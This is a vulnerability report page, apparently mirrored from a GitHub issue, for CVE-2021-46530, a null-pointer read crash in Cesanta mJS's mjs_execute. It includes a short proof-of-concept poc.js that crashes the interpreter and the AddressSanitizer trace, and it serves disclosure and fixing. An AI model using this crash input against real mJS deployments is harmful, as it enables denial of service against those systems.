Headline

CVE-2021-46530: SEGV src/mjs_exec.c:823 in mjs_execute · Issue #206 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_execute at src/mjs_exec.c. This vulnerability can lead to a Denial of Service (DoS).

2 years ago

CVE

Open in Source

#vulnerability #ubuntu #linux #dos #js #git

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Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

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@hope-fly

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)

save the makefile then make

make

Test casepoc.js

function JSEtest() {
    let arr = [1];
    arr.splice((arr.splice(0, 17)= [1])= [1])= [1]
}
JSEtest();

Execution steps & Output

$ ./mjs/build/mjs poc.js ASAN:DEADLYSIGNAL ================================================================= ==23867==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55dcd2425950 bp 0x000000000000 sp 0x7fff558e7b00 T0) ==23867==The signal is caused by a READ memory access. ==23867==Hint: address points to the zero page. #0 0x55dcd242594f in mjs_execute src/mjs_exec.c:823 #1 0x55dcd2430a05 in mjs_exec_internal src/mjs_exec.c:1073 #2 0x55dcd2430a05 in mjs_exec_file src/mjs_exec.c:1096 #3 0x55dcd23ed909 in main src/mjs_main.c:47 #4 0x7f63f4c54b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55dcd23ee449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/mjs_exec.c:823 in mjs_execute

Credits: Found by OWL337 team.

1 participant

@hope-fly